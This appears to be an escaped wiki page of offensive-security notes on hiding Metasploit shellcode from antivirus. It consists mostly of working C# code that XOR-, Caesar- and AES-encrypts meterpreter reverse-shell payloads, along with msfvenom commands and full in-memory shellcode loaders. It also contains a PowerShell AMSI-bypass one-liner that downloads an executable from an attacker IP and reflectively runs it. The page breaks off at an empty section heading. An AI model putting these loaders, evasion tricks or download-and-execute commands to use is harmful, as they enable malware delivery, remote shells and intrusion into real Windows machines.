&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
